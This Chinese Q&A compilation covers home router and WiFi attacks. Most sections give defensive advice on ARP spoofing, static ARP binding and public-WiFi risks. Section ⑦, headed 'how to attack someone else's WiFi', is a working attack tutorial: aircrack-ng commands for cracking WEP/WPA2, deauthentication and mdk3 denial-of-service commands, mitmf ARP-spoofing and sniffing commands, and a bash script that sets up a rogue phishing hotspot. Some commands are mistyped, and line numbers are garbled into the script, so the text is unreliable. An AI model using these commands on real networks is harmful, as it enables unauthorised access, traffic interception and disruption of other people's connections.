① 家用路由器会遭受攻击吗
家用路由器说实话,不会设置的话,任凭装宽带的师傅随便设置一通,很容易被入侵!最大的危害就是劫持域名,篡改一堆乱七八糟的东西,容易导致账号密码或者隐私泄露!当然了,真正的黑客肯定是没工夫侵入个人或者家用路由器等设备,一般就是恶意网站上的木马程序或者人为猜测的方式获取路由器管理账号密码进行攻击的!
会遭到攻击,目前国内对家用路由器最大的攻击伤害来自于一个APP,叫做万能钥匙,只要你用万能钥匙,你连接过的所有网络就都会被分享出去。
会的,普通家庭设置安全级别太低,也没有防范意识,很容易被黑客入侵控制,但是基本没有经济风险,但是一般黑客不会干扰你的正常使用,说白了,普通家庭的路由器对于黑客来说没有什么价值,除非很多很多,前几年有一起震惊世界的美国网络攻击事件,就是由数百万路由器,智能家居设备被黑客控制用来攻击目标造成的破坏威力相当恐怖。那些被控制的业主还浑然不知。这个江湖离普通人太远,没必要担心,或者说担心也没用,道高一尺魔高一丈。
简单说下,不考虑别的原因(例如路由器管理员账号密码弱口令,wifi密码被泄露等等),一般情况下不会被直接攻击,因为大多数路由器都没有公网IP地址(部分拥有公网IP地址的除外),都是通过nat方式透过网关来上网。
打个比方理解下,把数据包比作快件,快递员不知道你的详细地址,只知道你在哪个小区,快递只能先被送到了小区门卫那里,门卫知道你住小区几号楼几单元xxxx房号,就由他再送到家为止。门卫还可以把那些危险的数据包请求挡在小区门外不让他们进来。(只是简单打比方便于理解,现实中小区门卫不负责送快递,请勿深层联想……)
不会的
② 无线网遭受攻击这是什么意思
你的路由器被攻击了,应该是局域网里有设备比如电脑中毒了,先把网络断了把你连上路由器的设备都杀毒下,路由器换个密码,重置下再换也行,也可以连上路由器再把可疑的设备的mac禁了。
ARP攻击就是有设备伪装网关从而对你进行断网攻击或窃取信息,防御没太大效果特别是网速影响大,把攻击者从局域网里清掉是最好的
③ wifi路由器遭到ARP攻击怎么解决
arp攻击是指在同一个局域网里,出现两个冲突的ip地址,可在无线路由器设置静态arp绑定即可。
操作参考如下(具体操作详见具体型号路由器):
登陆进入无线路由器管理者后台(登陆ip和账号密码,默认值可通过路由器背面查询);
记录手机、电脑、平板等电子设备的mac地址,平板或手机可通过进入wifi高级处查询到,电脑可通过命令运行符输入ipconfig/all查询到;
无线路由器管理者后台点击左侧的ip和mac地址绑定
—
静态arp绑定设置;
添加单个新条目
—
输入要绑定的ip和mac地址
—
确定;
点击使所有条目生效
—
再启用即可。
④ 无线网络遭受攻击什么情况
你的路由器被攻击了,应该是局域网里有设备比如电脑中毒了,先把网络断了把你连上路由器的设备都杀毒下,路由器换个密码,重置下再换也行,也可以连上路由器再把可疑的设备的mac禁了。
ARP攻击就是有设备伪装网关从而对你进行断网攻击或窃取信息,防御没太大效果特别是网速影响大,把攻击者从局域网里清掉是最好的
⑤ 手机最近老是提示无线网络被攻击,存在支付风险,要求断开
您好,亲爱的管家用户
尊敬的用户,手机管家提示ARP攻击是一种常见的WiFi网络风险,是由于您所接入的WiFi网络中同时其他黑客接入并且进行ARP攻击,有可能窃取您在上网过程中的数据传输和账号密码信息。
若此时手机仍旧无法上网,若是家中的路由器,建议您可登录路由器管理界面,在静态ARP映射中绑定MAC地址,并建议更换路由器默认管理员用户名和密码,再重启路由器看看。
1、点击“设定”,就是跟齿轮一样的图标。
展开长图
2/6
2、点击“WLAN”选项。
展开长图
3/6
3、点击自己连接的网络,一般是第一个
展开长图
4/6
4,点击菜单键(我的手机菜单键是在手机的左下角位置),选择“高级设定“选项。
展开长图
5/6
5、点击“睡眠时间保持WLAN开启“,选择“总是“选项。
查看剩余1张图
6/6
6、点击“设置网络连接方法“,选择“自动“,会跳出提示框,点击确定就行了。
查看剩余1张图
⑥ 黑客如何攻击公共wifi
我国公共场所免费WiFi不断增多,然而,由于免费WiFi存在路由器和网络漏洞,成为黑客攻击的对象,导致网民个人隐私泄露、网银被盗等案例时有发生。
黑客攻击公共WiFi最常用三大招式:
1.域名劫持。
在公共的WiFi环境下,进入无线路由器的管理后台,并对域名系统进行修改。当使用者输入网址时,服务器直接把IP跳到黑客设置的钓鱼网站。
2.钓鱼WiFi。
黑客往往选择在繁华商业区构建一个不加密的WiFi,并把WiFi的名字起一个众所周知的热点名称,引诱网民“上钩”。
3.ARP(地址解析协议)欺骗。
黑客和使用者同时连接了同一个WiFi,使用者开始上网浏览,黑客则在其手机上打开了一款黑客软件。该黑客软件很快就进入路由器的WEB管理界面,并将使用者的手机信息读取出来。
如何防范信息泄露:
一是不要盲目地“见网就连”,防止钓鱼的虚假WiFi。
二是不要使用公共WiFi进行网购和网银操作,避免个人信息的泄露。当用户发现账户被劫持后,应在第一时间退出账户,随后退出WiFi。如果直接退网而不先退出账户,缓存的网络数据则不会被清空,将导致黑客可以继续操控用户。
⑦ 怎么攻击别人wifi
1.保密性
我们攻击WIFI的第一个思路就是从保密性出发,我们希望从无线系统中获取用户的明文数据。首先,我们知道WIFI的的认证加密主要有以下四种方式:OPEN(无加密)、WEP(RC4)、WPA(TKIP)、WPA2(CCMP)。
OPEN的WIFI没有采取认证加密措施,任意用户均可链接WIFI,用户数据在BSS(基本服务集)中明文传输,恶意用户没有任何门槛就可连接,然后通过中间人攻击即可获取用户的数据(SSL、SSH等需要其他工具)。如下图所示:
WEP、WPA、WPA2认证加密模式的WIFI需要破解获取密码,然后通过中间人或直接嗅探的方式获取用户明文数据。步骤就不详述了,WEP抓取IVS包,WPA/WPA2抓取handshake包。
WEP大概如下:
airomp-ng --ivs -w /workspace/sniff/airmon --bssid AP的MAC -c AP的chanle wlan1mon #捕获ivs数据包
aireplay-ng -3 -b 目标AP的MAC -h 某一个连接该AP的station的MAC wlan1mon #发送ARP包获取加速获取ivs
aircrack-ng /workspace/sniff/airmon02.ivs
WPA/WPA2大概如下:
airomp-ng -w /workspace/sniff/airmon-wpa2 --bssid 目标AP的MAC -c AP所在chanle wlan1mon #嗅探无线数据,抓取handshake包
aireplay-ng -0 5 -a 目标AP的MAC -c 某一连接AP的station的MAC wlan1mon #发送deauth包,更快的获取handshake
aircrack-ng -w 你的字典文件 /workspace/sniff/airmon-wpa2.cap #破解wpa2密码
密码破解成功后即可连接AP,通过中间人的方式获取用户明文数据,或者直接用wireshark抓取加密包,然后通过airdecap-ng工具解密,然后用wireshark读取已经解密的数据包。
破解WPA、WPA2不一定成功,取决于你字典是否强大,此时我们可以想办法诱骗用户主动输入WIFI密码,比如我们创建一个和目标AP具有同样ESSID的软AP,用户可以连接上,单在浏览网页时会弹出一个虚假的认证页面,告诉用户必须输入WIFI的密码,用户只要输入密码我们即可获取。可以利用fluxion、wifiphisher等工具实现。
wifiphisher将用户输入的密码当做WIFI的密码,但此密码并没有去验证,如果用户输入错误,也会提示出该密码。
而fluxion会将用户输入的密码与handshake校验,成功方认为获取到密码。
2.可用性
通过使目标用户无法使用WIFI来破坏无线系统的可用性,通常通过DOS攻击来实现,比如发送大量的deauth包来迫使用户station与AP解除认证、连接。
aireplay -0 100 -a 目标AP的MAC -c攻击的station的MAC wlan1mon #发送大量的deauth包,迫使目标station无法连接AP
mdk3 wlan1mon a -a 攻击AP的MAC #mdk3可以伪造大量的station与AP连接,从而耗尽AP的资源造成DOS攻击
3.真实性
(1)恶意用户进入无线系统后,可通过中间人攻击获取或修改用户数据。
ARP欺骗或DNS欺骗,ettercap工具非常方便。下面采用mitmf工具通过ARP欺骗将目标浏览网页中的所有图片上下颠倒。
mitmf -i wlan0 --spoof --arp --gateway 192.168.2.1 --target 192.168.2.1 --upsidedownternet
通过driftnet工具抓取目标浏览网页时的图片
driftnet -i wlan0
当然还可以利用中间人攻击做很多事情,比如获取cookie,嵌入js,结合beef进一步攻击等等。。。
(2)伪造AP进行钓鱼攻击
airbase -ng -e airmon wlan1mon #创建钓鱼热点
然后通过下面的脚本开启dhcp服务器(必须先安装isc-dhcp-server),开启路由,开启系统转发,开启防火墙nat等。
1 #!/bin/bash 2 3 echo '配置钓鱼热点...' 4 5 service isc-dhcp-server stop 6 rm /var/lib/dhcp/dhcpd.leases 7 touch /var/lib/dhcp/dhcpd.leases 8 9 ifconfig at0 up10 ifconfig at0 10.0.0.1 netmask 255.255.255.011 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.112 sysctl net.ipv4.ip_forward=113 14 dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at015 echo '等待启动dhcp服务器...'16 sleep 517 service isc-dhcp-server start18 19 iptables -F20 iptables -t nat -F21 22 #iptables -P FORWARD ACCEPT23 iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
此时用户可以不用密码即可连接airmon热点,并可以上网,但此时可以通过嗅探at0网卡获取用户数据。
4.完整性
篡改用户数据,在WIFI攻击这块貌似用处不大。
5.不可抵赖性
⑧ wiFi遭到ARp攻击,是什么原因
由于局域网的网络流通不是根据IP地址进行,而是根据MAC地址进行传输。所以,MAC地址在A上被伪造成一个不存在的MAC地址,这样就会导致网络不通,A不能Ping通C!这就是一个简单的ARP欺骗。
情况一、当局域网内某台主机感染了ARP病毒时,会向本局域网内(指某一网段,比如:10.10.75.0这一段)所有主机发送ARP欺骗攻击谎称自己是这个网端的网关设备,让原本流向网关的流量改道流向病毒主机,造成受害者不能正常上网。
情况二、局域网内有某些用户使用了ARP欺骗程序(如:网络执法官,QQ盗号软件等)发送ARP欺骗数据包,致使被攻击的电脑出现突然不能上网,过一段时间又能上网,反复掉线的现象。
⑨ 由无线网络引发的内网入侵
Author: qingxp9
前几日,一条关于"前员工入侵富士康网络:疯狂洗白iPhone获利300万"的新闻刷爆了网络。员工通过在富士康内部秘密安装无线路由器的方式侵入了苹果公司的网络,通过为他人“改机、解锁”手机共9000余部,五个月违法所得共计300余万元。
这是一个利用企业无线网络达成入侵内网的典型案例。近年来,因无线网络导致的安全事件已经逐渐占领了新闻的头条,在某漏洞平台检索时发现仅2015年便发生了数十起知名企业因WiFi相关安全问题导致内网被入侵的事件,对企业造成了十分恶劣的影响。
我们简单回顾一下:
到了2016年,无线网络已经成为了企业移动化办公的重要基础设施。由于普遍缺乏有效的管理,无线网络也越来越多的成为黑客入侵企业内网的突破口。
回到开头提到的富士康iphone刷机解锁事件,通过新闻描述便可大致了解到整个攻击过程:
攻击者通过组合使用私接路由器和无线网桥的手法,可以将针对企业内网攻击的实施范围扩大到难以想象的几十公里,极大增强了攻击的隐秘性,这种攻击手段值得警惕。
从天巡实验室长期的测试和对无线网络安全防护的数据和经验看,WiFi密码泄漏、钓鱼WiFi、私搭乱建WiFi成为目前企业WiFi网络的三大安全隐患。
1、密码泄漏
WiFi密码泄漏主要有以下4个方面的原因:
就现阶段而言,WiFi密码被不当分享的问题,已经成为了企业WiFi网络所面临的最为首要的安全性问题。这主要是因为:考虑到成本和实施复杂度,家庭和小型企业都会选择采用WPA-PSK加密方案,特点便是所有人使用相同的密码。家用WiFi网络的使用者一般为3-5人,而企业WiFi网络往往有数十人,甚至成百上千多的人在同时使用,只要有一个人不慎将密码分享了出来,密码也就不再是秘密了。
某些第三方WiFi密码分享平台的产品逻辑也进一步加剧了企业WiFi密码被“意外分享”的节奏。比如,2015年初,媒体广泛报道了某个知名的第三方WiFi密码分享工具可能造成用户信息泄漏的新闻。报道显示,该产品在用户安装后,会默认勾选“自动分享热点”选项。使用该软件的近亿用户一旦接入任何企业的WiFi网络,都会自动的把企业的WiFi密码分享出去,而这一过程企业网管几乎完全无法控制和阻止。
2、员工私搭乱建WiFi给企业网络带来安全隐患
在WiFi技术流行以前,企业内网中的电脑都是通过有线方式进行连接的,企业网络的拓扑结构和网络边界通常也是固定的。但是,自从WiFi技术普及以来,企业的内网边界正在变得越来越模糊。特别是私搭乱建的WiFi网络,给企业的内网安全造成了极大的隐患。
一般来说,企业员工私搭乱建WiFi网络主要有以下几种形式:
私搭乱建的WiFi网络实际上是在那些已经得到准入授权的设备上开放了一个新的入口,使得那些未经授权的设备可以通过这个入口不受限制的接入内网系统,而且管理员往往很难发现。
3、钓鱼WiFi是黑客入侵企业网络的重要途径
2015年央视315晚会上,安全专家现场演示了钓鱼WiFi的工作过程。在晚会现场,观众加入主办方指定的一个WiFi网络后,用户手机上正在使用哪些软件、用户通过微信朋友圈浏览的照片等信息就都被显示在了大屏幕上。不仅如此,现场大屏幕上还展示了很多用户的电子邮箱信息
⑩ 在连接别人Wifi时 被断网攻击了怎么办
电脑受到arp断网攻击原因:
1、电脑中了ARP病毒,这种感觉病毒传播速度很快,一般局域网内有一台中毒,其它也很难幸免,所以要找到ARP攻击主机!如果有一天电脑老掉线或极慢,就要考虑电脑是否也感染了病毒,
2、局域网内内有人使用了类似P2P技术的软件,来抢了流量,这个问题就要找用一根网线的用户谈谈了。
建议解决方法:
开启系统自带的防火墙,其实系统自带的防火墙也能应付一般性ARP攻击的!但很少人用。首先点击开始菜单,进入控制面板。
2在控制面板页面选择“系统与安全“”选项进入。
3 在系统与安全界面选择进入windows防火墙下面的检查防火墙状态。
4 在windows防火墙状态页面,点击右侧菜单的”打开或关闭windows防火墙“
5 在开关防火墙页面,将所有网络环境下的防火墙开启。。